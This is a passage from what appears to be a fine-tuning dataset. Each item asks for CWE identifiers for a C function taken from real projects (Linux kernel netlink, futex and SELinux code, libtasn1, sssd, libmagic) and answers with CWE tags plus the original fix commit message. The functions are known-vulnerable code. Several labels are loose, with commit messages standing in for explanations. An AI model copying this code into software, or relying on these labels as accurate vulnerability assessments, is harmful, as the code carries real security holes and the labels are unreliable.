k_map;\n\n\t\tif (!ops->ndo_set_config) {\n\t\t\terr = -EOPNOTSUPP;\n\t\t\tgoto errout;\n\t\t}\n\n\t\tif (!netif_device_present(dev)) {\n\t\t\terr = -ENODEV;\n\t\t\tgoto errout;\n\t\t}\n\n\t\tu_map = nla_data(tb[IFLA_MAP]);\n\t\tk_map.mem_start = (unsigned long) u_map->mem_start;\n\t\tk_map.mem_end = (unsigned long) u_map->mem_end;\n\t\tk_map.base_addr = (unsigned short) u_map->base_addr;\n\t\tk_map.irq = (unsigned char) u_map->irq;\n\t\tk_map.dma = (unsigned char) u_map->dma;\n\t\tk_map.port = (unsigned char) u_map->port;\n\n\t\terr = ops->ndo_set_config(dev, &k_map);\n\t\tif (err < 0)\n\t\t\tgoto errout;\n\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_ADDRESS]) {\n\t\tstruct sockaddr *sa;\n\t\tint len;\n\n\t\tlen = sizeof(sa_family_t) + dev->addr_len;\n\t\tsa = kmalloc(len, GFP_KERNEL);\n\t\tif (!sa) {\n\t\t\terr = -ENOMEM;\n\t\t\tgoto errout;\n\t\t}\n\t\tsa->sa_family = dev->type;\n\t\tmemcpy(sa->sa_data, nla_data(tb[IFLA_ADDRESS]),\n\t\t dev->addr_len);\n\t\terr = dev_set_mac_address(dev, sa);\n\t\tkfree(sa);\n\t\tif (err)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_MTU]) {\n\t\terr = dev_set_mtu(dev, nla_get_u32(tb[IFLA_MTU]));\n\t\tif (err < 0)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_GROUP]) {\n\t\tdev_set_group(dev, nla_get_u32(tb[IFLA_GROUP]));\n\t\tmodified = 1;\n\t}\n\n\t/*\n\t * Interface selected by interface index but interface\n\t * name provided implies that a name change has been\n\t * requested.\n\t */\n\tif (ifm->ifi_index > 0 && ifname[0]) {\n\t\terr = dev_change_name(dev, ifname);\n\t\tif (err < 0)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_IFALIAS]) {\n\t\terr = dev_set_alias(dev, nla_data(tb[IFLA_IFALIAS]),\n\t\t\t\t nla_len(tb[IFLA_IFALIAS]));\n\t\tif (err < 0)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_BROADCAST]) {\n\t\tnla_memcpy(dev->broadcast, tb[IFLA_BROADCAST], dev->addr_len);\n\t\tcall_netdevice_notifiers(NETDEV_CHANGEADDR, dev);\n\t}\n\n\tif (ifm->ifi_flags || ifm->ifi_change) {\n\t\terr = dev_change_flags(dev, rtnl_dev_combine_flags(dev, ifm));\n\t\tif (err < 0)\n\t\t\tgoto errout;\n\t}\n\n\tif (tb[IFLA_MASTER]) {\n\t\terr = do_set_master(dev, nla_get_u32(tb[IFLA_MASTER]));\n\t\tif (err)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_CARRIER]) {\n\t\terr = dev_change_carrier(dev, nla_get_u8(tb[IFLA_CARRIER]));\n\t\tif (err)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_TXQLEN])\n\t\tdev->tx_queue_len = nla_get_u32(tb[IFLA_TXQLEN]);\n\n\tif (tb[IFLA_OPERSTATE])\n\t\tset_operstate(dev, nla_get_u8(tb[IFLA_OPERSTATE]));\n\n\tif (tb[IFLA_LINKMODE]) {\n\t\twrite_lock_bh(&dev_base_lock);\n\t\tdev->link_mode = nla_get_u8(tb[IFLA_LINKMODE]);\n\t\twrite_unlock_bh(&dev_base_lock);\n\t}\n\n\tif (tb[IFLA_VFINFO_LIST]) {\n\t\tstruct nlattr *attr;\n\t\tint rem;\n\t\tnla_for_each_nested(attr, tb[IFLA_VFINFO_LIST], rem) {\n\t\t\tif (nla_type(attr) != IFLA_VF_INFO) {\n\t\t\t\terr = -EINVAL;\n\t\t\t\tgoto errout;\n\t\t\t}\n\t\t\terr = do_setvfinfo(dev, attr);\n\t\t\tif (err < 0)\n\t\t\t\tgoto errout;\n\t\t\tmodified = 1;\n\t\t}\n\t}\n\terr = 0;\n\n\tif (tb[IFLA_VF_PORTS]) {\n\t\tstruct nlattr *port[IFLA_PORT_MAX+1];\n\t\tstruct nlattr *attr;\n\t\tint vf;\n\t\tint rem;\n\n\t\terr = -EOPNOTSUPP;\n\t\tif (!ops->ndo_set_vf_port)\n\t\t\tgoto errout;\n\n\t\tnla_for_each_nested(attr, tb[IFLA_VF_PORTS], rem) {\n\t\t\tif (nla_type(attr) != IFLA_VF_PORT)\n\t\t\t\tcontinue;\n\t\t\terr = nla_parse_nested(port, IFLA_PORT_MAX,\n\t\t\t\tattr, ifla_port_policy);\n\t\t\tif (err < 0)\n\t\t\t\tgoto errout;\n\t\t\tif (!port[IFLA_PORT_VF]) {\n\t\t\t\terr = -EOPNOTSUPP;\n\t\t\t\tgoto errout;\n\t\t\t}\n\t\t\tvf = nla_get_u32(port[IFLA_PORT_VF]);\n\t\t\terr = ops->ndo_set_vf_port(dev, vf, port);\n\t\t\tif (err < 0)\n\t\t\t\tgoto errout;\n\t\t\tmodified = 1;\n\t\t}\n\t}\n\terr = 0;\n\n\tif (tb[IFLA_PORT_SELF]) {\n\t\tstruct nlattr *port[IFLA_PORT_MAX+1];\n\n\t\terr = nla_parse_nested(port, IFLA_PORT_MAX,\n\t\t\ttb[IFLA_PORT_SELF], ifla_port_policy);\n\t\tif (err < 0)\n\t\t\tgoto errout;\n\n\t\terr = -EOPNOTSUPP;\n\t\tif (ops->ndo_set_vf_port)\n\t\t\terr = ops->ndo_set_vf_port(dev, PORT_SELF_VF, port);\n\t\tif (err < 0)\n\t\t\tgoto errout;\n\t\tmodified = 1;\n\t}\n\n\tif (tb[IFLA_AF_SPEC]) {\n\t\tstruct nlattr *af;\n\t\tint rem;\n\n\t\tnla_for_each_nested(af, tb[IFLA_AF_SPEC], rem) {\n\t\t\tconst struct rtnl_af_ops *af_ops;\n\n\t\t\tif (!(af_ops = rtnl_af_lookup(nla_type(af))))\n\t\t\t\tBUG();\n\n\t\t\terr = af_ops->set_link_af(dev, af);\n\t\t\tif (err < 0)\n\t\t\t\tgoto errout;\n\n\t\t\tmodified = 1;\n\t\t}\n\t}\n\terr = 0;\n\nerrout:\n\tif (err < 0 && modified)\n\t\tnet_warn_ratelimited(\"A link change request failed with some changes committed already. Interface %s may have been left with an inconsistent configuration, please check.\\n\",\n\t\t\t\t dev->name);\n\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'net: Use netlink_ns_capable to verify the permisions of netlink messages\n\nIt is possible by passing a netlink socket to a more privileged\nexecutable and then to fool that executable into writing to the socket\ndata that happens to be valid netlink message to do something that\nprivileged executable did not intend to do.\n\nTo keep this from happening replace bare capable and ns_capable calls\nwith netlink_capable, netlink_net_calls and netlink_ns_capable calls.\nWhich act the same as the previous calls except they verify that the\nopener of the socket had the desired permissions as well.\n\nReported-by: Andy Lutomirski \nSigned-off-by: \"Eric W. Biederman\" \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static __always_inline int __do_follow_link(struct path *path, struct nameidata *nd)\n{\n\tint error;\n\tvoid *cookie;\n\tstruct dentry *dentry = path->dentry;\n\n\ttouch_atime(path->mnt, dentry);\n\tnd_set_link(nd, NULL);\n\n\tif (path->mnt != nd->path.mnt) {\n\t\tpath_to_nameidata(path, nd);\n\t\tdget(dentry);\n\t}\n\tmntget(path->mnt);\n\tcookie = dentry->d_inode->i_op->follow_link(dentry, nd);\n\terror = PTR_ERR(cookie);\n\tif (!IS_ERR(cookie)) {\n\t\tchar *s = nd_get_link(nd);\n\t\terror = 0;\n\t\tif (s)\n\t\t\terror = __vfs_follow_link(nd, s);\n\t\telse if (nd->last_type == LAST_BIND) {\n\t\t\terror = force_reval_path(&nd->path, nd);\n\t\t\tif (error)\n\t\t\t\tpath_put(&nd->path);\n\t\t}\n\t\tif (dentry->d_inode->i_op->put_link)\n\t\t\tdentry->d_inode->i_op->put_link(dentry, nd, cookie);\n\t}\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-362', 'CWE-416'], 'message': 'fix autofs/afs/etc. magic mountpoint breakage\n\nWe end up trying to kfree() nd.last.name on open(\"/mnt/tmp\", O_CREAT)\nif /mnt/tmp is an autofs direct mount. The reason is that nd.last_type\nis bogus here; we want LAST_BIND for everything of that kind and we\nget LAST_NORM left over from finding parent directory.\n\nSo make sure that it *is* set properly; set to LAST_BIND before\ndoing ->follow_link() - for normal symlinks it will be changed\nby __vfs_follow_link() and everything else needs it set that way.\n\nSigned-off-by: Al Viro '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int selinux_bprm_set_creds(struct linux_binprm *bprm)\n{\n\tconst struct task_security_struct *old_tsec;\n\tstruct task_security_struct *new_tsec;\n\tstruct inode_security_struct *isec;\n\tstruct common_audit_data ad;\n\tstruct selinux_audit_data sad = {0,};\n\tstruct inode *inode = bprm->file->f_path.dentry->d_inode;\n\tint rc;\n\n\trc = cap_bprm_set_creds(bprm);\n\tif (rc)\n\t\treturn rc;\n\n\t/* SELinux context only depends on initial program or script and not\n\t * the script interpreter */\n\tif (bprm->cred_prepared)\n\t\treturn 0;\n\n\told_tsec = current_security();\n\tnew_tsec = bprm->cred->security;\n\tisec = inode->i_security;\n\n\t/* Default to the current task SID. */\n\tnew_tsec->sid = old_tsec->sid;\n\tnew_tsec->osid = old_tsec->sid;\n\n\t/* Reset fs, key, and sock SIDs on execve. */\n\tnew_tsec->create_sid = 0;\n\tnew_tsec->keycreate_sid = 0;\n\tnew_tsec->sockcreate_sid = 0;\n\n\tif (old_tsec->exec_sid) {\n\t\tnew_tsec->sid = old_tsec->exec_sid;\n\t\t/* Reset exec SID on execve. */\n\t\tnew_tsec->exec_sid = 0;\n\t} else {\n\t\t/* Check for a default transition on this program. */\n\t\trc = security_transition_sid(old_tsec->sid, isec->sid,\n\t\t\t\t\t SECCLASS_PROCESS, NULL,\n\t\t\t\t\t &new_tsec->sid);\n\t\tif (rc)\n\t\t\treturn rc;\n\t}\n\n\tCOMMON_AUDIT_DATA_INIT(&ad, PATH);\n\tad.selinux_audit_data = &sad;\n\tad.u.path = bprm->file->f_path;\n\n\tif (bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID)\n\t\tnew_tsec->sid = old_tsec->sid;\n\n\tif (new_tsec->sid == old_tsec->sid) {\n\t\trc = avc_has_perm(old_tsec->sid, isec->sid,\n\t\t\t\t SECCLASS_FILE, FILE__EXECUTE_NO_TRANS, &ad);\n\t\tif (rc)\n\t\t\treturn rc;\n\t} else {\n\t\t/* Check permissions for the transition. */\n\t\trc = avc_has_perm(old_tsec->sid, new_tsec->sid,\n\t\t\t\t SECCLASS_PROCESS, PROCESS__TRANSITION, &ad);\n\t\tif (rc)\n\t\t\treturn rc;\n\n\t\trc = avc_has_perm(new_tsec->sid, isec->sid,\n\t\t\t\t SECCLASS_FILE, FILE__ENTRYPOINT, &ad);\n\t\tif (rc)\n\t\t\treturn rc;\n\n\t\t/* Check for shared state */\n\t\tif (bprm->unsafe & LSM_UNSAFE_SHARE) {\n\t\t\trc = avc_has_perm(old_tsec->sid, new_tsec->sid,\n\t\t\t\t\t SECCLASS_PROCESS, PROCESS__SHARE,\n\t\t\t\t\t NULL);\n\t\t\tif (rc)\n\t\t\t\treturn -EPERM;\n\t\t}\n\n\t\t/* Make sure that anyone attempting to ptrace over a task that\n\t\t * changes its SID has the appropriate permit */\n\t\tif (bprm->unsafe &\n\t\t (LSM_UNSAFE_PTRACE | LSM_UNSAFE_PTRACE_CAP)) {\n\t\t\tstruct task_struct *tracer;\n\t\t\tstruct task_security_struct *sec;\n\t\t\tu32 ptsid = 0;\n\n\t\t\trcu_read_lock();\n\t\t\ttracer = ptrace_parent(current);\n\t\t\tif (likely(tracer != NULL)) {\n\t\t\t\tsec = __task_cred(tracer)->security;\n\t\t\t\tptsid = sec->sid;\n\t\t\t}\n\t\t\trcu_read_unlock();\n\n\t\t\tif (ptsid != 0) {\n\t\t\t\trc = avc_has_perm(ptsid, new_tsec->sid,\n\t\t\t\t\t\t SECCLASS_PROCESS,\n\t\t\t\t\t\t PROCESS__PTRACE, NULL);\n\t\t\t\tif (rc)\n\t\t\t\t\treturn -EPERM;\n\t\t\t}\n\t\t}\n\n\t\t/* Clear any possibly unsafe personality bits on exec: */\n\t\tbprm->per_clear |= PER_CLEAR_ON_SETID;\n\t}\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'Add PR_{GET,SET}_NO_NEW_PRIVS to prevent execve from granting privs\n\nWith this change, calling\n prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)\ndisables privilege granting operations at execve-time. For example, a\nprocess will not be able to execute a setuid binary to change their uid\nor gid if this bit is set. The same is true for file capabilities.\n\nAdditionally, LSM_UNSAFE_NO_NEW_PRIVS is defined to ensure that\nLSMs respect the requested behavior.\n\nTo determine if the NO_NEW_PRIVS bit is set, a task may call\n prctl(PR_GET_NO_NEW_PRIVS, 0, 0, 0, 0);\nIt returns 1 if set and 0 if it is not set. If any of the arguments are\nnon-zero, it will return -1 and set errno to -EINVAL.\n(PR_SET_NO_NEW_PRIVS behaves similarly.)\n\nThis functionality is desired for the proposed seccomp filter patch\nseries. By using PR_SET_NO_NEW_PRIVS, it allows a task to modify the\nsystem call behavior for itself and its child tasks without being\nable to impact the behavior of a more privileged task.\n\nAnother potential use is making certain privileged operations\nunprivileged. For example, chroot may be considered \"safe\" if it cannot\naffect privileged tasks.\n\nNote, this patch causes execve to fail when PR_SET_NO_NEW_PRIVS is\nset and AppArmor is in use. It is fixed in a subsequent patch.\n\nSigned-off-by: Andy Lutomirski \nSigned-off-by: Will Drewry \nAcked-by: Eric Paris \nAcked-by: Kees Cook \n\nv18: updated change desc\nv17: using new define values as per 3.4\nSigned-off-by: James Morris '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct tevent_req *sdap_initgr_rfc2307bis_send(\n TALLOC_CTX *memctx,\n struct tevent_context *ev,\n struct sdap_options *opts,\n struct sdap_domain *sdom,\n struct sdap_handle *sh,\n const char *name,\n const char *orig_dn)\n{\n errno_t ret;\n struct tevent_req *req;\n struct sdap_initgr_rfc2307bis_state *state;\n const char **attr_filter;\n char *clean_orig_dn;\n bool use_id_mapping;\n\n req = tevent_req_create(memctx, &state, struct sdap_initgr_rfc2307bis_state);\n if (!req) return NULL;\n\n state->ev = ev;\n state->opts = opts;\n state->sysdb = sdom->dom->sysdb;\n state->dom = sdom->dom;\n state->sh = sh;\n state->op = NULL;\n state->name = name;\n state->direct_groups = NULL;\n state->num_direct_parents = 0;\n state->timeout = dp_opt_get_int(state->opts->basic, SDAP_SEARCH_TIMEOUT);\n state->base_iter = 0;\n state->search_bases = sdom->group_search_bases;\n state->orig_dn = orig_dn;\n\n if (!state->search_bases) {\n DEBUG(SSSDBG_CRIT_FAILURE,\n \"Initgroups lookup request without a group search base\\n\");\n ret = EINVAL;\n goto done;\n }\n\n ret = sss_hash_create(state, 32, &state->group_hash);\n if (ret != EOK) {\n talloc_free(req);\n return NULL;\n }\n\n attr_filter = talloc_array(state, const char *, 2);\n if (!attr_filter) {\n ret = ENOMEM;\n goto done;\n }\n\n attr_filter[0] = opts->group_map[SDAP_AT_GROUP_MEMBER].name;\n attr_filter[1] = NULL;\n\n ret = build_attrs_from_map(state, opts->group_map, SDAP_OPTS_GROUP,\n attr_filter, &state->attrs, NULL);\n if (ret != EOK) goto done;\n\n ret = sss_filter_sanitize(state, orig_dn, &clean_orig_dn);\n if (ret != EOK) goto done;\n\n use_id_mapping = sdap_idmap_domain_has_algorithmic_mapping(\n opts->idmap_ctx,\n sdom->dom->name,\n sdom->dom->domain_id);\n\n state->base_filter =\n talloc_asprintf(state, \"(&(%s=%s)(objectclass=%s)(%s=*)\",\n opts->group_map[SDAP_AT_GROUP_MEMBER].name,\n clean_orig_dn,\n opts->group_map[SDAP_OC_GROUP].name,\n opts->group_map[SDAP_AT_GROUP_NAME].name);\n if (!state->base_filter) {\n ret = ENOMEM;\n goto done;\n }\n\n if (use_id_mapping) {\n /* When mapping IDs or looking for SIDs, we don't want to limit\n * ourselves to groups with a GID value. But there must be a SID to map\n * from.\n */\n state->base_filter = talloc_asprintf_append(state->base_filter,\n \"(%s=*))\",\n opts->group_map[SDAP_AT_GROUP_OBJECTSID].name);\n } else {\n /* When not ID-mapping, make sure there is a non-NULL UID */\n state->base_filter = talloc_asprintf_append(state->base_filter,\n \"(&(%s=*)(!(%s=0))))\",\n opts->group_map[SDAP_AT_GROUP_GID].name,\n opts->group_map[SDAP_AT_GROUP_GID].name);\n }\n if (!state->base_filter) {\n talloc_zfree(req);\n return NULL;\n }\n\n\n talloc_zfree(clean_orig_dn);\n\n ret = sdap_initgr_rfc2307bis_next_base(req);\n\ndone:\n if (ret != EOK) {\n tevent_req_error(req, ret);\n tevent_req_post(req, ev);\n }\n return req;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-264'], 'message': 'AD: process non-posix nested groups w/o tokenGroups\n\nWhen initgr is performed for AD not supporting tokenGroups, do not\nfilter out groups without gid attribute or with gid equal to zero.\n\nResolves:\nhttps://fedorahosted.org/sssd/ticket/2343\n\nReviewed-by: Michal \u017didek \n(cherry picked from commit 981bf55532fbec91a106f82d7daf32094c76dfe0)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: asn1_get_octet_der (const unsigned char *der, int der_len,\n\t\t int *ret_len, unsigned char *str, int str_size,\n\t\t int *str_len)\n{\n int len_len;\n\n if (der_len <= 0)\n return ASN1_GENERIC_ERROR;\n\n /* if(str==NULL) return ASN1_SUCCESS; */\n *str_len = asn1_get_length_der (der, der_len, &len_len);\n\n if (*str_len < 0)\n return ASN1_DER_ERROR;\n\n *ret_len = *str_len + len_len;\n if (str_size >= *str_len)\n memcpy (str, der + len_len, *str_len);\n else\n {\n return ASN1_MEM_ERROR;\n }\n\n return ASN1_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-131'], 'message': 'Do not return illegal values in asn1_get_bit_der().'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int futex_unlock_pi(u32 __user *uaddr, unsigned int flags)\n{\n\tstruct futex_hash_bucket *hb;\n\tstruct futex_q *this, *next;\n\tunion futex_key key = FUTEX_KEY_INIT;\n\tu32 uval, vpid = task_pid_vnr(current);\n\tint ret;\n\nretry:\n\tif (get_user(uval, uaddr))\n\t\treturn -EFAULT;\n\t/*\n\t * We release only a lock we actually own:\n\t */\n\tif ((uval & FUTEX_TID_MASK) != vpid)\n\t\treturn -EPERM;\n\n\tret = get_futex_key(uaddr, flags & FLAGS_SHARED, &key, VERIFY_WRITE);\n\tif (unlikely(ret != 0))\n\t\tgoto out;\n\n\thb = hash_futex(&key);\n\tspin_lock(&hb->lock);\n\n\t/*\n\t * To avoid races, try to do the TID -> 0 atomic transition\n\t * again. If it succeeds then we can return without waking\n\t * anyone else up:\n\t */\n\tif (!(uval & FUTEX_OWNER_DIED) &&\n\t cmpxchg_futex_value_locked(&uval, uaddr, vpid, 0))\n\t\tgoto pi_faulted;\n\t/*\n\t * Rare case: we managed to release the lock atomically,\n\t * no need to wake anyone else up:\n\t */\n\tif (unlikely(uval == vpid))\n\t\tgoto out_unlock;\n\n\t/*\n\t * Ok, other tasks may need to be woken up - check waiters\n\t * and do the wakeup if necessary:\n\t */\n\tplist_for_each_entry_safe(this, next, &hb->chain, list) {\n\t\tif (!match_futex (&this->key, &key))\n\t\t\tcontinue;\n\t\tret = wake_futex_pi(uaddr, uval, this);\n\t\t/*\n\t\t * The atomic access to the futex value\n\t\t * generated a pagefault, so retry the\n\t\t * user-access and the wakeup:\n\t\t */\n\t\tif (ret == -EFAULT)\n\t\t\tgoto pi_faulted;\n\t\tgoto out_unlock;\n\t}\n\t/*\n\t * No waiters - kernel unlocks the futex:\n\t */\n\tif (!(uval & FUTEX_OWNER_DIED)) {\n\t\tret = unlock_futex_pi(uaddr, uval);\n\t\tif (ret == -EFAULT)\n\t\t\tgoto pi_faulted;\n\t}\n\nout_unlock:\n\tspin_unlock(&hb->lock);\n\tput_futex_key(&key);\n\nout:\n\treturn ret;\n\npi_faulted:\n\tspin_unlock(&hb->lock);\n\tput_futex_key(&key);\n\n\tret = fault_in_user_writeable(uaddr);\n\tif (!ret)\n\t\tgoto retry;\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269'], 'message': 'futex: Always cleanup owner tid in unlock_pi\n\nIf the owner died bit is set at futex_unlock_pi, we currently do not\ncleanup the user space futex. So the owner TID of the current owner\n(the unlocker) persists. That's observable inconsistant state,\nespecially when the ownership of the pi state got transferred.\n\nClean it up unconditionally.\n\nSigned-off-by: Thomas Gleixner \nCc: Kees Cook \nCc: Will Drewry \nCc: Darren Hart \nCc: stable@vger.kernel.org\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: cdf_read_property_info(const cdf_stream_t *sst, const cdf_header_t *h,\n uint32_t offs, cdf_property_info_t **info, size_t *count, size_t *maxcount)\n{\n\tconst cdf_section_header_t *shp;\n\tcdf_section_header_t sh;\n\tconst uint8_t *p, *q, *e;\n\tint16_t s16;\n\tint32_t s32;\n\tuint32_t u32;\n\tint64_t s64;\n\tuint64_t u64;\n\tcdf_timestamp_t tp;\n\tsize_t i, o, o4, nelements, j;\n\tcdf_property_info_t *inp;\n\n\tif (offs > UINT32_MAX / 4) {\n\t\terrno = EFTYPE;\n\t\tgoto out;\n\t}\n\tshp = CAST(const cdf_section_header_t *, (const void *)\n\t ((const char *)sst->sst_tab + offs));\n\tif (cdf_check_stream_offset(sst, h, shp, sizeof(*shp), __LINE__) == -1)\n\t\tgoto out;\n\tsh.sh_len = CDF_TOLE4(shp->sh_len);\n#define CDF_SHLEN_LIMIT (UINT32_MAX / 8)\n\tif (sh.sh_len > CDF_SHLEN_LIMIT) {\n\t\terrno = EFTYPE;\n\t\tgoto out;\n\t}\n\tsh.sh_properties = CDF_TOLE4(shp->sh_properties);\n#define CDF_PROP_LIMIT (UINT32_MAX / (4 * sizeof(*inp)))\n\tif (sh.sh_properties > CDF_PROP_LIMIT)\n\t\tgoto out;\n\tDPRINTF((\"section len: %u properties %u\\n\", sh.sh_len,\n\t sh.sh_properties));\n\tif (*maxcount) {\n\t\tif (*maxcount > CDF_PROP_LIMIT)\n\t\t\tgoto out;\n\t\t*maxcount += sh.sh_properties;\n\t\tinp = CAST(cdf_property_info_t *,\n\t\t realloc(*info, *maxcount * sizeof(*inp)));\n\t} else {\n\t\t*maxcount = sh.sh_properties;\n\t\tinp = CAST(cdf_property_info_t *,\n\t\t malloc(*maxcount * sizeof(*inp)));\n\t}\n\tif (inp == NULL)\n\t\tgoto out;\n\t*info = inp;\n\tinp += *count;\n\t*count += sh.sh_properties;\n\tp = CAST(const uint8_t *, (const void *)\n\t ((const char *)(const void *)sst->sst_tab +\n\t offs + sizeof(sh)));\n\te = CAST(const uint8_t *, (const void *)\n\t (((const char *)(const void *)shp) + sh.sh_len));\n\tif (cdf_check_stream_offset(sst, h, e, 0, __LINE__) == -1)\n\t\tgoto out;\n\tfor (i = 0; i < sh.sh_properties; i++) {\n\t\tsize_t ofs = CDF_GETUINT32(p, (i << 1) + 1);\n\t\tq = (const uint8_t *)(const void *)\n\t\t ((const char *)(const void *)p + ofs\n\t\t - 2 * sizeof(uint32_t));\n\t\tif (q > e) {\n\t\t\tDPRINTF((\"Ran of the end %p > %p\\n\", q, e));\n\t\t\tgoto out;\n\t\t}\n\t\tinp[i].pi_id = CDF_GETUINT32(p, i << 1);\n\t\tinp[i].pi_type = CDF_GETUINT32(q, 0);\n\t\tDPRINTF((\"%\" SIZE_T_FORMAT \"u) id=%x type=%x offs=0x%tx,0x%x\\n\",\n\t\t i, inp[i].pi_id, inp[i].pi_type, q - p, offs));\n\t\tif (inp[i].pi_type & CDF_VECTOR) {\n\t\t\tnelements = CDF_GETUINT32(q, 1);\n\t\t\tif (nelements == 0) {\n\t\t\t\tDPRINTF((\"CDF_VECTOR with nelements == 0\\n\"));\n\t\t\t\tgoto out;\n\t\t\t}\n\t\t\to = 2;\n\t\t} else {\n\t\t\tnelements = 1;\n\t\t\to = 1;\n\t\t}\n\t\to4 = o * sizeof(uint32_t);\n\t\tif (inp[i].pi_type & (CDF_ARRAY|CDF_BYREF|CDF_RESERVED))\n\t\t\tgoto unknown;\n\t\tswitch (inp[i].pi_type & CDF_TYPEMASK) {\n\t\tcase CDF_NULL:\n\t\tcase CDF_EMPTY:\n\t\t\tbreak;\n\t\tcase CDF_SIGNED16:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&s16, &q[o4], sizeof(s16));\n\t\t\tinp[i].pi_s16 = CDF_TOLE2(s16);\n\t\t\tbreak;\n\t\tcase CDF_SIGNED32:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&s32, &q[o4], sizeof(s32));\n\t\t\tinp[i].pi_s32 = CDF_TOLE4((uint32_t)s32);\n\t\t\tbreak;\n\t\tcase CDF_BOOL:\n\t\tcase CDF_UNSIGNED32:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&u32, &q[o4], sizeof(u32));\n\t\t\tinp[i].pi_u32 = CDF_TOLE4(u32);\n\t\t\tbreak;\n\t\tcase CDF_SIGNED64:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&s64, &q[o4], sizeof(s64));\n\t\t\tinp[i].pi_s64 = CDF_TOLE8((uint64_t)s64);\n\t\t\tbreak;\n\t\tcase CDF_UNSIGNED64:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&u64, &q[o4], sizeof(u64));\n\t\t\tinp[i].pi_u64 = CDF_TOLE8((uint64_t)u64);\n\t\t\tbreak;\n\t\tcase CDF_FLOAT:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&u32, &q[o4], sizeof(u32));\n\t\t\tu32 = CDF_TOLE4(u32);\n\t\t\tmemcpy(&inp[i].pi_f, &u32, sizeof(inp[i].pi_f));\n\t\t\tbreak;\n\t\tcase CDF_DOUBLE:\n\t\t\tif (inp[i].pi_type & CDF_VECTOR)\n\t\t\t\tgoto unknown;\n\t\t\t(void)memcpy(&u64, &q[o4], sizeof(u64));\n\t\t\tu64 = CDF_TOLE8((uint64_t)u64);\n\t\t\tmemcpy(&inp[i].pi_d, &u64, sizeof(inp[i].pi_d));\n\t\t\tbreak;\n\t\tcase CDF_LENGTH32_STRING:\n\t\tcase CDF_LENGTH32_WSTRING:\n\t\t\tif (nelements > 1) {\n\t\t\t\tsize_t nelem = inp - *info;\n\t\t\t\tif (*maxcount > CDF_PROP_LIMIT\n\t\t\t\t || nelements > CDF_PROP_LIMIT)\n\t\t\t\t\tgoto out;\n\t\t\t\t*maxcount += nelements;\n\t\t\t\tinp = CAST(cdf_property_info_t *,\n\t\t\t\t realloc(*info, *maxcount * sizeof(*inp)));\n\t\t\t\tif (inp == NULL)\n\t\t\t\t\tgoto out;\n\t\t\t\t*info = inp;\n\t\t\t\tinp = *info + nelem;\n\t\t\t}\n\t\t\tDPRINTF((\"nelements = %\" SIZE_T_FORMAT \"u\\n\",\n\t\t\t nelements));\n\t\t\tfor (j = 0; j < nelements && i < sh.sh_properties; \n\t\t\t j++, i++) \n\t\t\t{\n\t\t\t\tuint32_t l = CDF_GETUINT32(q, o);\n\t\t\t\tinp[i].pi_str.s_len = l;\n\t\t\t\tinp[i].pi_str.s_buf = (const char *)\n\t\t\t\t (const void *)(&q[o4 + sizeof(l)]);\n\t\t\t\tDPRINTF((\"l = %d, r = %\" SIZE_T_FORMAT\n\t\t\t\t \"u, s = %s\\n\", l,\n\t\t\t\t CDF_ROUND(l, sizeof(l)),\n\t\t\t\t inp[i].pi_str.s_buf));\n\t\t\t\tif (l & 